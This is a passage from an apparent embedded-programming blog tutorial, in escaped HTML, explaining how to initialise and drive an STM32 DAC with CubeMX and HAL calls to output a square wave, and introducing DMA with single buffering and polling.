&lt;h3 id=&quot;a-closer-look-at-dacs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#a-closer-look-at-dacs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; A Closer Look at DACs&lt;/h3&gt;
&lt;p&gt;Remember &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1#sampling&quot;&gt;sampling&lt;/a&gt;? We took a continuous analogue signal and selected discrete points at regular intervals. An ADC is like a glorified sampler.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Free samples have returned!&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 400&quot; alt=&quot;Diagram sampling a sine wave at different frequencies (50 Hertz, 30 Hertz, 10 Hertz). There are more dots at higher frequencies.&quot; title=&quot;Free samples have returned!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/sampling-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;While ADCs take us from continuous to discrete, DACs (try to) take us from discrete to continuous. The shape of the resulting analogue waveform depends on the DAC implementation. Simple DACs will stagger the output at discrete levels. More complex DACs may interpolate between two discrete samples to “guess” the intermediate values. Some of these guesses will be off, but at least the signal is smoother.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Free samples have returned!&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/reconstruction-800w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/reconstruction-800w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 800 / 400&quot; alt=&quot;Another sampling diagram, but lines are drawn between dots, like staircases. This emulates how analogue signals are reconstructed from digital representations.&quot; title=&quot;Free samples have returned!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/reconstruction-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/reconstruction-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/reconstruction-800w.webp 800w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 800px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;On our STM board, signal reconstruction is staggered, like old platformer games—not that I&#39;ve played any. At higher sampling rates, the staggered-ness is less apparent and the resulting curve is smoother.&lt;/sup&gt;&lt;/p&gt;
&lt;h3 id=&quot;example-initialising-the-dac&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-initialising-the-dac&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: Initialising the DAC&lt;/h3&gt;
&lt;p&gt;Let’s return to CubeMX to set up our DAC.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;DAC settings from CubeMX.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-2280w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-2280w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2280 / 1104&quot; alt=&quot;DAC settings from CubeMX.&quot; title=&quot;DAC settings from CubeMX.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-1-2280w.webp 2280w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2280px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Enable DAC, and connect it to Timer 8 using the trigger setting. Our STM32F405 board supports two DAC output channels. This is useful if we want stereo audio output.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;DAC DMA settings from CubeMX.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-1728w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-1728w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1728 / 796&quot; alt=&quot;DAC DMA settings from CubeMX.&quot; title=&quot;DAC DMA settings from CubeMX.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-2-1728w.webp 1728w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1728px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Configure DMA settings for the DAC. We’ll cover DMA later.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Enable DAC DMA interrupts.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-1726w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-1726w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1726 / 410&quot; alt=&quot;Enable DAC DMA interrupts.&quot; title=&quot;Enable DAC DMA interrupts.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-dac-3-1726w.webp 1726w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1726px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Enable interrupts for the DMA. These are needed to trigger DAC sends.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Again, remember to generate code when finished.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn9&quot; id=&quot;fnref9:1&quot;&gt;9&lt;/a&gt;&lt;/sup&gt; The &lt;code&gt;MX_DAC_Init()&lt;/code&gt; function should contain the generated DAC setup code and should already be called in &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;example-using-the-dac&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-using-the-dac&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: Using the DAC&lt;/h3&gt;
&lt;p&gt;On our STM32, DAC accepts samples &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1#quantisation&quot;&gt;quantised&lt;/a&gt; to 8 bits or 12 bits.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn10&quot; id=&quot;fnref10&quot;&gt;10&lt;/a&gt;&lt;/sup&gt; We’ll go with superior resolution: 12 bits!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Three options for DAC alignment are offered.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-dac-alignment-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-dac-alignment-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 287&quot; alt=&quot;Three options for DAC alignment are offered.&quot; title=&quot;Three options for DAC alignment are offered.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-dac-alignment-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-dac-alignment-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-dac-alignment-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;STM32 offers three different options to quantise and align DAC samples. We’ll only focus on the last option: 12-bit right aligned samples. (Source: RM0090 Reference Manual.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn8&quot; id=&quot;fnref8:1&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;For simplicity, let’s start with sending 1 DAC sample. This can be done like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Start the DAC peripheral.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;HAL_DAC_Start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_CHANNEL_1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Set the DAC value to 1024 on Channel 1, 12-bit right-aligned.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;HAL_DAC_SetValue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_CHANNEL_1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_ALIGN_12B_R&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This should output a voltage level of $&#92;frac{1024}{2^{12}} = 25&#92;%$ of the reference voltage $V_{&#92;text{REF}}$. Once it starts, the DAC will continue sending that voltage out until we change the DAC value or call &lt;code&gt;HAL_DAC_Stop()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We use &lt;code&gt;DAC_CHANNEL_1&lt;/code&gt; to select the first channel, and use &lt;code&gt;DAC_ALIGN_12B_R&lt;/code&gt; to accept 12-bit right-aligned samples.&lt;/p&gt;
&lt;p&gt;To fire a continuous stream of samples, we could use a loop and call &lt;code&gt;HAL_DAC_SetValue()&lt;/code&gt; repeatedly. Let’s use this method to generate a simple square wave.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;An aside. The default &lt;code&gt;HAL_Delay()&lt;/code&gt; provided by STM will add 1ms to the delay time—well, at least in my version. I overrode it using a separate definition so that it sleeps the given number of ms.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;HAL_Delay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;uint32_t&lt;/span&gt; ms&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint32_t&lt;/span&gt; start &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;HAL_GetTick&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;HAL_GetTick&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; start&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; ms&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;HAL_DAC_Start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_CHANNEL_1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Alternate between high (4095) and low (0).&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;uint8_t&lt;/span&gt; high  &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint16_t&lt;/span&gt; sample &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;high &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4095&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// max = 4095 = 2^12 - 1.&lt;/span&gt;
    high &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;high&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;HAL_DAC_SetValue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_CHANNEL_1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; DAC_ALIGN_12B_R&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sample&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Delay for 5ms.&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;HAL_Delay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This generates a square wave with a period of 10ms, for a frequency of 100Hz.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;A square wave at 100Hz.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-square-wave-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-square-wave-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 768&quot; alt=&quot;A square wave at 100Hz.&quot; title=&quot;A square wave at 100Hz.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-square-wave-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-square-wave-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/osc-square-wave-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Oscilloscope view of the signal. Oscilloscopes are very useful for debugging signals, especially periodic ones.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;But there are two issues with this looping method:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Using a while loop blocks the thread, meaning we block the processor from doing other things while outputting the sine wave. We may wish to poll for input or send out other forms of output (TFT/LCD, Bluetooth, etc.).&lt;/li&gt;
&lt;li&gt;Since &lt;code&gt;HAL_Delay()&lt;/code&gt; delays in milliseconds, it becomes impossible to generate complex waveforms at high frequencies, since that requires us to send samples at &lt;strong&gt;microsecond&lt;/strong&gt; intervals.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;HAL Delay, y u no faster?&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/y-u-no-faster-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/y-u-no-faster-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 633&quot; alt=&quot;HAL Delay, y u no faster?&quot; title=&quot;HAL Delay, y u no faster?&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/y-u-no-faster-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/y-u-no-faster-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In the next section, we’ll address these issues by combining DAC with timers and DMA.&lt;/p&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://deepbluembedded.com/stm32-dac-tutorial-example-hal-code-analog-signal-genreation&quot;&gt;Deep Blue Embedded: STM32 DAC Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;direct-memory-access-dma&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#direct-memory-access-dma&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Direct Memory Access (DMA) 💉🧠&lt;/h2&gt;
&lt;p&gt;The final item on our agenda today! Direct Memory Access (DMA) may seem like three random words strung together, but it’s quite a powerful tool in the embedded programmer’s arsenal. How, you ask?&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;DMA enables data transfer without consuming processor resources.&lt;/strong&gt; (Well, it consumes some resources, but mainly for setup.) This frees up the processor to do other things while DMA takes care of moving data. We could use this saved time to prepare the next set of buffers, render the GUI, etc.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;DMA can be used to transfer data from memory-to-peripheral (e.g. DAC, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;A common asynchronous communication protocol in the embedded world.&quot;&gt;UART&lt;/abbr&gt; &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;transfer&quot;&gt;TX&lt;/abbr&gt;, SPI TX), from peripheral-to-memory (e.g. ADC, UART &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;receive&quot;&gt;RX&lt;/abbr&gt;), across peripherals, or across memory. In this post, we&#39;re concerned with one particular memory-to-peripheral transfer: DAC.&lt;/p&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.baeldung.com/cs/dma-controllers&quot;&gt;Baeldung: How Do DMA Controllers Work?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;example-dma-with-single-buffering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-dma-with-single-buffering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: DMA with Single Buffering&lt;/h3&gt;
&lt;p&gt;We&#39;ll now try using DMA with a single buffer, see why this is problematic, and motivate the need for double buffering.
If you’ve read this far, I presume you’ve followed the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-initialising-the-dac&quot;&gt;previous section&lt;/a&gt; by initialising DMA and generating code with CubeMX.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Single buffers... forever alone.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/single-buffer-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/single-buffer-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 500&quot; alt=&quot;Single buffers... forever alone.&quot; title=&quot;Single buffers... forever alone.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/single-buffer-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/single-buffer-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;DMA introduces syncing issues. After preparing a second round of buffers, how do we know if the first round has already finished?&lt;/p&gt;
&lt;p&gt;As with all processes which depend on a separate event, there are two approaches: &lt;strong&gt;polling&lt;/strong&gt; and &lt;strong&gt;interrupts&lt;/strong&gt;. In this context:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Polling&lt;/strong&gt;: Block and wait until the first round is finished, then send.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Interrupts&lt;/strong&gt;: Trigger an interrupt signal when transfer finishes, and start the next round inside the interrupt handler.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which approach to choose depends on your application.&lt;/p&gt;
&lt;p&gt;In our examples, we’ll poll to check if DMA is finished:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;HAL_DAC_GetState&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;hdac&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; HAL_DAC_STATE_READY&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
